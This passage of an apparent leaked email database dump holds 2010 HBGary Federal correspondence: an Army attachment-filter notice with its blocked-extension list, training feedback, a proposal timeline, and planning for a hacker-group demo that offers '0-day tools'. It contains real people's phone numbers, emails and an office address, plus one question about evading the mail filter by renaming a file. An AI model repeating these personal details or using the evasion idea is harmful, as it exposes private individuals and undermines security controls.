Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 8:56 AM\r\n> To: Bray, James H CIV USA TRADOC\r\n> Subject: Re: [AKO Content Warning - Attachments] Social Media Presentation\r\n> (UNCLASSIFIED)\r\n> \r\n> Thanks.  I will resend.  As a point of interest what would happen if I\r\n> renamed the file to something not on the below list?  Would it pass through?\r\n> \r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 11:19 AM, \"Bray, James H CIV USA TRADOC\"\r\n>  wrote:\r\n> \r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>> \r\n>> Aaron,\r\n>>   The Army firewall stripped off the .zip attachment.  If you have to\r\n> send \r\n>> it as a zip please use jhbray62@ssvecnet.com\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Jim\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, August 03, 2010 2:58 PM\r\n>> To: Bray, James H CIV USA TRADOC\r\n>> Subject: [AKO Content Warning - Attachments] Social Media Presentation\r\n>> \r\n>> James,\r\n>> \r\n>> I last gave this presentation at the NSA REBL Conference.  Let me know if\r\n> you \r\n>> don\'t get the attachment, it being a large zip file and all.\r\n>> \r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>> \r\n>> \r\n>> The sender of the message sent the following file that is not allowed by\r\n> NETCOM 2004-11A guidance: Social Media.ppt.zip .\r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> The sender of the message sent file(s) that are not allowed by NETCOM\r\n> 2004-11A. You may see the names of the files that were removed by opening\r\n> the text attachments that replaced the removed attachments.\r\n>> \r\n>> In accordance with NETCOM guidance 2004-11A,\r\n>> AKO has begun stripping files with the following extensions: \r\n>> .ace, .ad, .ade, .adp, .asp, .b64, .bas, .bat, .bhx, .ceo, \r\n>> .ce0, .chm, .com, .cmd, .cpl, .crt,  .dbx, .dll, .dot, .eml, .exe,\r\n>> .hlp, .hqx,  .hta, .inf, .ins, .js, .jse,  .lnk, .mdb, .mde, .mim, .msi, \r\n>> .msp, .nch, .ocx,  .pi, .pif, .rar, .reg, .scr, .sct, .shb, .shs, .upx,\r\n> .url\r\n>> .uue,  .uu, .vbe, .vbs, .vss, .vst, .vsw, .wmi, .ws, .wsc, .wsf,\r\n>> .wsh, .xxe, and .zip.\r\n>> \r\n>> Since this is an Army policy, AKO will not be able to grant exceptions. \r\n>> \r\n>> You may view the NETCOM guidance at\r\n> https://www.us.army.mil/suite/doc/7190255 \r\n>> \r\n>> The guidance includes instructions on how the sender should send the files\r\n> that are restricted.\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4985,'aaron_hbgary_com/4985.html'),(9631,'2010-08-04','Sean.Sobieraj@us-cert.gov','/aaron@hbgary.com/new/1297007614.M162173P14101Q4486.eml','maria@hbgary.com,maria@hbgary.com,,','RE: HBGary Training Feedback','\r\nThanks Maria, we are looking forward to the additional training.  We\r\nwould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes beyond\r\nthat?\r\n\r\nThursday or Friday around the same time should also be fine.  That might\r\nactually be better coming off the long weekend.  I don\'t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  We\r\nare working that out.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 1:20 PM\r\nTo: Sobieraj, Sean C\r\nCc: Copeland, Byron; Aaron Barr; Jim Richards\r\nSubject: Re: HBGary Training Feedback\r\n\r\nHi Sean\r\n\r\nThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some\r\nhe said are doable.... you should hear from Jim...  Support is\r\nresearching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in\r\nSeptember and schedule time to work with you and your team in the lab.\r\nPlus, you may repeat the class anytime, or you may send a person to\r\naudit the next 3 day class and provide feedback...  \r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30\r\nam meeting.  I would be available if the meeting were set later in the\r\nweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an\r\nNDA in place for the meeting?\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 6:06 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	Here\'s some feedback regarding the Responder Pro training:\r\n	- The instructor was very knowledgeable and helpful, however\r\nthere was\r\n	not enough time to cover all the material.  What we did cover\r\nwas rushed\r\n	and other sections were omitted entirely.\r\n	- There was no thorough review of the lab exercises.  For some\r\nwe were\r\n	provided the correct answers and the rest we did not review at\r\nall.\r\n	- It was not clear what level of experience was expected by the\r\n	students.  There were many with little knowledge of malware\r\nanalysis who\r\n	had a hard time following the material, and didn\'t understand\r\nwhy you\r\n	would look some places for information and what made it\r\nsignificant.\r\n	- Students had to spend time installing programs and updates and\r\n	figuring out how to disable the AV after we determined it was\r\ncorrupting\r\n	the lab files.  This took away from the time doing analysis.\r\n	- The multiple choice quizzes in the lecture material were not\r\nhelpful.\r\n	- Although more of an admin issue, the directions to the class\r\nhad us\r\n	report to a classroom in a different building that apparently\r\nhad not\r\n	been used for this training in some time.\r\n	\r\n	Some suggestions:\r\n	- Increase the length of the course to allow sufficient time for\r\nreview\r\n	and discussion of the material.  (I heard it was changed to 3\r\ndays.)\r\n	- Increase the hands-on time so the lab exercises equal or\r\nexceed the\r\n	lecture time.\r\n	- Step through an entire analysis, including compiling the data\r\ninto a\r\n	report.  A more linear approach to analysis with somewhat of a\r\ndecision\r\n	tree like you mentioned might help people understand the process\r\nas it\r\n	relates to Responder Pro when first being introduced to it.\r\n	- Possibly allow an opportunity to analyze malware samples\r\nprovided by\r\n	the students, with the students collaborating on the analysis\r\nand using\r\n	the techniques taught in class.\r\n	- A performance evaluation at the conclusion of training.  Not\r\nmultiple\r\n	choice questions, but a sample requiring analysis, with a\r\npassing grade\r\n	being a report with the required information.\r\n	\r\n	As a result of the lack of review and discussion, and omitted\r\nlecture\r\n	material, the class was of little value and didn\'t not\r\nsignificantly\r\n	contribute to our ability to use Responder Pro for malware\r\nanalysis.\r\n	\r\n	Unrelated to the class, an analyst here had a poor experience\r\nwith\r\n	HBGary\'s technical support.  This person never received an email\r\nor call\r\n	about the ticket (#394) until after receiving a notification\r\nthat it had\r\n	been closed without the problem being resolved.  I believe the\r\nissue was\r\n	addressed at the class.\r\n	\r\n	Regarding the Threat Management Center demo, how does early\r\nSeptember\r\n	sound?  Maybe sometime after 10am on September 7th?\r\n	\r\n	Thanks,\r\n	Sean\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',10863,'aaron_hbgary_com/10863.html'),(9632,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007614.M430732P14101Q4487.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Confirming lunch tomorrow','Speaking of \"Robin\".  Did I send you my social media presentation I gave at REBL?\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 12:01 PM, Matthew Steckman wrote:\r\n\r\n> Want an intro to Tom Ryan? The robin sage guy. \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Sent: Wed Aug 04 08:49:07 2010\r\n> Subject: Re: Confirming lunch tomorrow\r\n> \r\n> Alright.  I love being propositioned.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n> \r\n>> Zollman is going to join, he has a proposition for you...teaser alert!\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15407,'aaron_hbgary_com/15407.html'),(9633,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007614.M660748P14101Q4488.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Confirming lunch tomorrow','Yup, got it \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matthew Steckman\r\nSubject: Re: Confirming lunch tomorrow\r\nSent: Aug 4, 2010 12:12 PM\r\n\r\nSpeaking of \"Robin\".  Did I send you my social media presentation I gave at REBL?\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 12:01 PM, Matthew Steckman wrote:\r\n\r\n> Want an intro to Tom Ryan? The robin sage guy. \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Sent: Wed Aug 04 08:49:07 2010\r\n> Subject: Re: Confirming lunch tomorrow\r\n> \r\n> Alright.  I love being propositioned.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n> \r\n>> Zollman is going to join, he has a proposition for you...teaser alert!\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',5157,'aaron_hbgary_com/5157.html'),(9634,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007615.M170295P14101Q4489.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TSA ITSSS Kickoff Timeline and Process','\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: August 3, 2010 6:04:01 PM EDT\r\n> To: \"aaron@hbgary.com\" \r\n> Cc: William Luti , \"William E. Miller\" , \"Scott B. Deutschman\" \r\n> Subject: TSA ITSSS Kickoff Timeline and Process\r\n> \r\n> Aaron-\r\n>  \r\n> Really excited to have you on the team! Bill Luti and I will be working hard to get you more work share ultimately.\r\n>  \r\n> We’re conducting the kickoff tomorrow morning 9:30am – 11:00am in our offices.  We were all caught off-guard a bit, so not all the teaming members will be there.  I think you are up-to-date with Bill on our teaming partner status.\r\n>  \r\n> Nonetheless, since you are a major content contributor I wanted to give you the overall schedule in advance, so that we can move out on our response tomorrow after the meeting.\r\n>  \r\n> For the kickoff here’s what we’ll have:\r\n> 1)      Proposal outline\r\n> 2)      Proposal info sheet\r\n> 3)      Overall Proposal Process  (attached)\r\n>  \r\n> And here’s what we want to accomplish during that 90 mins:\r\n> 1)      Team contact info sheet\r\n> 2)      Content assignments\r\n> 3)      Past Performance Template review and Assignments\r\n> 4)      Finalize overall timeline/schedule details\r\n> 5)      Draft Win Themes\r\n>  \r\n> Between Wed noon and Friday noon, we’ll all focus on:\r\n> 1)      Detailed RFP review as questions are due to government by Friday Aug 6 at 5pm.\r\n> 2)      Standard content gathering – Fanguy for DMI and all large subs\r\n> 3)      Technical Approach draft – Barr\r\n> 4)      Incumbent capture - Fanguy\r\n>  \r\n> We will compile and submit the questions to the government at 3pm on Friday.\r\n>  \r\n> Over the weekend and thru Tuesday, Aug 10 at noon, we will individually write/compile our sections.\r\n>  \r\n> From Tuesday noon to Wednesday Aug 11 at noon, the Proposal Team will\r\n> 1)      Compile the content into the outline.\r\n> 2)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Pink Team review on 8/11  from noon to 4pm will output:\r\n> 1)      Content gaps\r\n> 2)      Final Win Themes\r\n> 3)      Finalize graphic concepts\r\n>  \r\n> Prior to the Red Team Review on 8/18, we will:\r\n> 1)      Draft pricing\r\n> 2)      Create graphics\r\n> 3)      Finalize and edit individual content sections.\r\n> 4)      Finalize / review past performance submissions.\r\n>  \r\n> All content sections will be sent to the Proposal Team by 8/16 at 5pm,\r\n>  \r\n> From 8/16 – 8/18 at noon, they will :\r\n> 1)      Compile into proposal outline.\r\n> 2)      Conduct a compliance check against the Compliance Matrix\r\n> 3)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Red Team Review on 8/18 will create:\r\n> 1)      Gap Analysis\r\n> 2)      Additional assignments\r\n> 3)      Compliance Matrix\r\n>  \r\n> From 8/18 – 8/23, we will:\r\n> 1)      Finalize, QA, and approve pricing\r\n> 2)      Finalize content\r\n>  \r\n> From 8/23 at noon to 8/25 at noon, we will\r\n> 1)      Conduct technical/style editing\r\n> 2)      Fine-tune graphics\r\n> 3)      Compile into master outline.\r\n> 4)      Conduct 3rd person QA review\r\n> 5)      Create 2 color and 5 bw copies for Gold review\r\n>  \r\n> The Gold Team Review is on 8/25, from noon to 3pm.\r\n>  \r\n> Submission is 8/29 at midnight.\r\n>  \r\n> -John\r\n>  \r\n> John Fanguy\r\n> VP\r\n> Digital Management, Inc.\r\n> \"Leading Government Transformation\"\r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> --------------------------------------------------\r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> 240-223-4800 main\r\n> \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1467,'aaron_hbgary_com/1467.html'),(9635,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007615.M449785P14101Q4490.eml','Sean.Sobieraj@us-cert.gov,Sean.Sobieraj@us-cert.gov,,,','Re: HBGary Training Feedback','Sean\r\n \r\nGreat to hear!\r\n \r\nLet&#39;s meet on Thursday at 10:30.  I will send you a meeting invitation for confirmation.\r\n \r\nCan you please give me your office address?\r\n \r\nJim Richards is the Training Manager at HBGary he will assist you in registering for the &quot;audit&quot; or &quot;repeat&quot; classes.\r\n \r\nPhil Wallisch is also looking forward to working with you in your lab in September.\r\n \r\nMaria\r\nOn Wed, Aug 4, 2010 at 9:11 AM, &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\nThanks Maria, we are looking forward to the additional training.  Wewould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes beyondthat?Thursday or Friday around the same time should also be fine.  That mightactually be better coming off the long weekend.  I don&#39;t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  Weare working that out.Thanks,Sean\r\n-----Original Message-----From: Maria Lucas [mailto:maria@hbgary.com]\r\n\r\n\r\nSent: Tuesday, August 03, 2010 1:20 PMTo: Sobieraj, Sean CCc: Copeland, Byron; Aaron Barr; Jim RichardsSubject: Re: HBGary Training FeedbackHi SeanThanks for the feedback!\r\nJim Richards, Training Manager will be incorporating your ideas -- somehe said are doable.... you should hear from Jim...  Support isresearching the ticket and will retrace to see what happened on our end.\r\nFor additional training, Phil Wallisch said that he will call you inSeptember and schedule time to work with you and your team in the lab.Plus, you may repeat the class anytime, or you may send a person toaudit the next 3 day class and provide feedback...\r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30am meeting.  I would be available if the meeting were set later in theweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have anNDA in place for the meeting?I will also be with Aaron at the GFIRST conference..........MariaOn Tue, Aug 3, 2010 at 6:06 AM, &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\n       Maria,       Here&#39;s some feedback regarding the Responder Pro training:       - The instructor was very knowledgeable and helpful, howeverthere was       not enough time to cover all the material.  What we did cover\r\nwas rushed       and other sections were omitted entirely.       - There was no thorough review of the lab exercises.  For somewe were       provided the correct answers and the rest we did not review at\r\nall.       - It was not clear what level of experience was expected by the       students.  There were many with little knowledge of malwareanalysis who       had a hard time following the material, and didn&#39;t understand\r\nwhy you       would look some places for information and what made itsignificant.       - Students had to spend time installing programs and updates and       figuring out how to disable the AV after we determined it was\r\ncorrupting       the lab files.  This took away from the time doing analysis.       - The multiple choice quizzes in the lecture material were nothelpful.       - Although more of an admin issue, the directions to the class\r\nhad us       report to a classroom in a different building that apparentlyhad not       been used for this training in some time.       Some suggestions:       - Increase the length of the course to allow sufficient time for\r\nreview       and discussion of the material.  (I heard it was changed to 3days.)       - Increase the hands-on time so the lab exercises equal orexceed the       lecture time.       - Step through an entire analysis, including compiling the data\r\ninto a       report.  A more linear approach to analysis with somewhat of adecision       tree like you mentioned might help people understand the processas it       relates to Responder Pro when first being introduced to it.\r\n       - Possibly allow an opportunity to analyze malware samplesprovided by       the students, with the students collaborating on the analysisand using       the techniques taught in class.       - A performance evaluation at the conclusion of training.  Not\r\nmultiple       choice questions, but a sample requiring analysis, with apassing grade       being a report with the required information.       As a result of the lack of review and discussion, and omitted\r\nlecture       material, the class was of little value and didn&#39;t notsignificantly       contribute to our ability to use Responder Pro for malwareanalysis.       Unrelated to the class, an analyst here had a poor experience\r\nwith       HBGary&#39;s technical support.  This person never received an emailor call       about the ticket (#394) until after receiving a notificationthat it had       been closed without the problem being resolved.  I believe the\r\nissue was       addressed at the class.       Regarding the Threat Management Center demo, how does earlySeptember       sound?  Maybe sometime after 10am on September 7th?       Thanks,       Sean\r\n--Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:240-396-5971email: maria@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',3453,'aaron_hbgary_com/3453.html'),(9636,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007615.M735847P14101Q4491.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Met with Bill this morning?','Are u up at the ICCS conference?\r\nIf so how is it?\r\n\r\nOn Aug 2, 2010, at 2:59 PM, Matthew Steckman wrote:\r\n\r\n> I did meet with Bill, he has quite the resume.\r\n> \r\n> I\'ll be in NYC Tue and Wednesday.  I could possibly do Thursday sometime in\r\n> the afternoon.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 2:56 PM\r\n> To: Matthew Steckman\r\n> Subject: Met with Bill this morning?\r\n> \r\n> Hey want to get together tomorrow afternoon or Wednesday?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2505,'aaron_hbgary_com/2505.html'),(9637,'2010-08-04','\"JJ Cummings\" <jcummings@sourcefire.com>','/aaron@hbgary.com/new/1297007616.M113014P14101Q4492.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: FW: FW: Hacker Group','As long as it&#39;s not a sales pitch ;-)On Wed, Aug 4, 2010 at 10:20 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nAre we on for the 12th?Our address is:103 S. Wahsatch Ave.Colorado Springs, CO 80903We are located on the SE corner of Colorado &amp; Wahsatch.  Park in the back.  Much of the upstairs is an Antique store.  We are located in the lower level.  The Triple Nickel Tavern is right across the street, so easy access if we want to go have a drink after the meet... \r\n\r\nAs far as the demo/talk, what would most interest your group, here are some ideas:1.  We could talk about/demo Responder Pro &amp; DDNA.2.  We could talk about/demo our new Threat Monitoring Center.\r\n\r\n3.  We could talk about/demo our new Active Defense Product (for Enterprises).4.  We could talk about/demo our Fingerprint tool that we released at Blackhat.5.  We could talk about/demo one of our 0-day tools (not for sale, but cool to watch).\r\n\r\nTedOn Wed, Jun 30, 2010 at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nSorry for the delayed response, we had travel plans for next week and I needed to confirm the dates.  Unfortunately we&#39;ll be in Sacramento July 6-8th.  Can we plan for Aug 12th (2nd Thur in Aug)?\r\n\r\nTed\r\nOn Tue, Jun 29, 2010 at 11:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\n\r\nJuly or Aug? As of now the next meeting should e scheduled for the 2nd Thurs of JulyOn Tue, Jun 29, 2010 at 11:18 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCan we schedule it for next month?On Tue, Jun 29, 2010 at 10:42 AM, Winterfeld, Steven P (TASC) &lt;steven.winterfeld@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed – do you want to do this? \r\n\r\n \r\n\r\n\r\n\r\nFrom: JJ Cummings\r\n[mailto:jcummings@sourcefire.com] \r\nSent: Monday, June 28, 2010 10:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\n\r\n\r\n \r\n\r\nFrom a numbers perspective generally 5 - 10 (trying to grow\r\nit).. and from a skill level perspective, all over the board.. ppl that know\r\nsecurity inside and out and those that are new / just dabbling..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJJC\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:58 AM, Winterfeld, Steven P (TASC)\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\nJJ - can you give Ted a feel for the folks who would come...\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 28, 2010 9:57 AM\r\nTo: Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\nSo would it be this Thursday?  Let me talk to Mark.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:51 AM, Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Do you want to try this week or shoot for next month?  If you&#39;re\r\nwilling to\r\n&gt; do it this week can you give me a paragraph I can share with the guys.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; PS - Is it OK to do it at your place?\r\n\r\n\r\n\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n\r\n\r\n\r\n&gt; Sent: Monday, June 28, 2010 9:47 AM\r\n\r\n\r\n\r\n\r\n\r\n&gt; To: Winterfeld, Steven P\r\n(TASC)\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I dunno, we should start pushing now... can you get a description and shit\r\n&gt; so that we can send out to the list...\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:45 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; Do we have a plan?  How many folks do you think we will get if we\r\nannounce\r\n&gt; he will show off HBGary tools?   Would hate to ask him to demo\r\nand have just\r\n&gt; us show up...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n&gt; Sent: Monday, June 28, 2010 9:17 AM\r\n&gt;\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt;\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I think in an upcoming Thurs.. instead of the scheduled Fri we have moved\r\nto\r\n&gt; Thur\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:15 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; JJ\r\n&gt;\r\n&gt; When do you want to have the next hacker group meeting?  Ted is willing\r\n&gt; to demo his system (think we could use his office to have the meeting\r\n&gt; down town.  It is within walking distance of the bars...\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 8:29 AM\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt; Subject: Hacker Group\r\n&gt;\r\n&gt; Hi Steve,\r\n&gt;\r\n&gt; I&#39;m back in the office and was wondering when your next hacker meeting\r\n&gt; is?  Mark and I need to travel to Sacramento sometime either late this\r\n&gt; week or early next.\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nJJ Cummings\r\nP: (719) 924-5263\r\njj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n',2883,'aaron_hbgary_com/2883.html'),(9638,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007616.M377384P14101Q4493.eml','\"JJ Cummings\" <jcummings@sourcefire.com>,\"JJ Cummings\" <jcummings@sourcefire.com>,,','Re: FW: FW: Hacker Group','We won&#39;t have time to go through all of the things I listed below.  I&#39;m guessing that you&#39;d be most interested in seeing an 0-day demo, is that right?TedOn Wed, Aug 4, 2010 at 10:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\nAs long as it&#39;s not a sales pitch ;-)On Wed, Aug 4, 2010 at 10:20 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nAre we on for the 12th?Our address is:103 S. Wahsatch Ave.Colorado Springs, CO 80903We are located on the SE corner of Colorado &amp; Wahsatch.  Park in the back.  Much of the upstairs is an Antique store.  We are located in the lower level.  The Triple Nickel Tavern is right across the street, so easy access if we want to go have a drink after the meet... \r\n\r\n\r\nAs far as the demo/talk, what would most interest your group, here are some ideas:1.  We could talk about/demo Responder Pro &amp; DDNA.2.  We could talk about/demo our new Threat Monitoring Center.\r\n\r\n\r\n3.  We could talk about/demo our new Active Defense Product (for Enterprises).4.  We could talk about/demo our Fingerprint tool that we released at Blackhat.5.  We could talk about/demo one of our 0-day tools (not for sale, but cool to watch).\r\n\r\n\r\nTedOn Wed, Jun 30, 2010 at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nSorry for the delayed response, we had travel plans for next week and I needed to confirm the dates.  Unfortunately we&#39;ll be in Sacramento July 6-8th.  Can we plan for Aug 12th (2nd Thur in Aug)?\r\n\r\n\r\nTed\r\nOn Tue, Jun 29, 2010 at 11:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\n\r\n\r\nJuly or Aug? As of now the next meeting should e scheduled for the 2nd Thurs of JulyOn Tue, Jun 29, 2010 at 11:18 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCan we schedule it for next month?On Tue, Jun 29, 2010 at 10:42 AM, Winterfeld, Steven P (TASC) &lt;steven.winterfeld@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed – do you want to do this? \r\n\r\n \r\n\r\n\r\n\r\nFrom: JJ Cummings\r\n[mailto:jcummings@sourcefire.com] \r\nSent: Monday, June 28, 2010 10:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\n\r\n\r\n \r\n\r\nFrom a numbers perspective generally 5 - 10 (trying to grow\r\nit).. and from a skill level perspective, all over the board.. ppl that know\r\nsecurity inside and out and those that are new / just dabbling..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJJC\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:58 AM, Winterfeld, Steven P (TASC)\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\nJJ - can you give Ted a feel for the folks who would come...\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 28, 2010 9:57 AM\r\nTo: Winterfeld, Steven P 